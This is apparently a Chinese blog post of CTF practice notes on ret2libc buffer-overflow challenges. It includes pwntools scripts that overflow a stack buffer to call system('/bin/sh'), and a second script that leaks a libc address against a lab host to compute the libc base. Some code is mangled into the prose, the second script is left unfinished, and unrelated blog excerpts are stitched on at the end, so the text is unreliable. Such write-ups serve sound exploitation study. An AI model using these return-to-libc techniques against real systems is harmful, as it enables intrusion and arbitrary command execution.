ctfwiki
例一:ret2libc2
拿到程式checksec檢視:沒什麼問題
原始碼
int查詢可以用的gadgets,__cdecl
main
(int
argc
,const
char
**argv
,const
char
**envp
)
先看有沒有『/bin/sh』:
事實證明,沒有
看看有沒有system,我們gdb開啟,在main函式處下斷,然後 print system
看出system的位址為0xf7e09890
沒有'/bin/sh',我就給他輸入乙個,所以要找一下gets的位址
可看出gets的位址為0xf7e337c0,接下來再找乙個buf來儲存我們輸入的『/bin/sh』
再找乙個ebx
接下來構造payload,用pattren計算出與ebp的距離為108
payload = 'a'*112+p32(gets_addr)+p32(pop_ebx)+p32(buf2_addr)+p32(system_addr)+'bbbb'+p32(buf2_addr)
send(payload)
send('/bin/sh')
指令碼如下:
from pwn import *
sh = process('./ret2libc3')
sysdaar = 0xf7e09890
getsaddr = 0xf7e337c0
pop_ebx_addr = 0x0804841d
buf2addr = 0x804a080
payload = 'a'*112 + p32(getsaddr) + p32(pop_ebx_addr) + p32(buf2addr) + p32(sysdaar) + 'b'*4 + p32(buf2addr)
sh.sendline(payload)
sh.sendline('/bin/sh')
sh.interactive()
例二:ret2libc3
這個例子和上面一樣,區別就是沒有system。system 函式屬於 libc,而 libc.so 動態鏈結庫中的函式之間相對偏移是固定的即使程式有 aslr 保護,也只是針對於位址中間位進行隨機,最低的12位並不會發生改變。
所以如果我們知道 libc 中某個函式的位址,那麼我們就可以確定該程式利用的 libc。進而我們就可以知道 system函式的位址,此外,在得到 libc 之後,其實 libc 中也是有 /bin/sh 字串的,所以我們可以一起獲得 /bin/sh 字串的位址。
在這裡我遇到了坑學了半天之後,總是洩露不了,問了大佬之後,大佬說pwn還是要ubantu,推薦版本16.04,所以後面的題目都搭在了ubantu12.04(反正越老越好嘛,其實是懶,有現成的12.04)裡,之前都是在kali裡面搞的,表示怕啦!!!
搭建的方法為:
建立乙個.sh的檔案,裡面內容為:
socat tcp -l :埠號,fork exec:/home/user/pwn(路徑),reuseaddr
執行這個sh檔案就好,可以nc測一下有沒有搭好(ubantu ps -e 檢視程序 sudo kill pid 殺死程序)
這裡還用到了libcseacher,具體安裝用法
libcseacher("函式名",已經洩露的位址) dump('system')計算偏移量
回到例題
前面的步驟都與上個例子相同,檢視got表資訊:
所以我們決定用洩露__libc_strart_main的位址,來判定libc的版本
指令碼為:
from pwn import *
from libcsearcher import libcsearcher
#sh = process('./ret2libc3')
sh = remote('192.168.1.101', 5557)
ret2libc3 = elf('./ret2libc3')
#洩露位址
puts_plt = ret2libc3.plt['puts']
libc_start_main_got = ret2libc3.got['__libc_start_main']
main = ret2libc3.symbols['main']
print "leak libc_start_main_got addr and return to main again"
payload = flat(['a' * 112, puts_plt, main, libc_start_main_got])#呼叫puts函式後,ret到main函式,用main函式裡面的gets來獲取libc_start的位址
sh.sendlineafter('can you find it !?', payload)
利用print "get the related addr"
libc_start_main_addr = u32(sh.recv()[0:4])
print libc_start_main_addr#輸出洩露的位址
libc = libcsearcher('__libc_start_main', libc_start_main_addr)
print libc_start_main_addr
libcbase = libc_start_main_addr - libc.dump('__libc_start_main')#算出基位址
睡啦睡啦,都怪白天偷懶,困
複習 暑假篇
也不知道還能再寫幾篇關於學校學習的文章,可是又明確的知道,只剩下一年了,如果算上寒假,外加上這一篇文章,關於期末複習也就只有兩篇可以寫了,因為畢業那個暑假顯然我不會寫。久違了的圖書館,一直都習慣了沒有信念學習下去的時候就看看自己寫過的部落格給自己一些安慰,說我還可以做的這麼好,寫出來這麼多的東西,所...
暑假c 複習3
現代c 應盡量使用vector和迭代器型別,避免使用低階的陣列和指標。設計良好的程式只有在強調速度時才在類實現的內部使用陣列和指標。與vector型別相比,陣列的顯著缺陷在於l陣列的長度是固定的,而程式設計師無法知道乙個給定陣列的長度,陣列沒有獲得其容量大小的size操作,也不提供push back...
pwn 練習筆記 暑假的第一天
pwnable bof 原始碼如下 include include include void func int key else int main int argc,char argv func 0xdeadbeef return 0 看原始碼意思就是要比較key與0xcafebabe,然而在mai...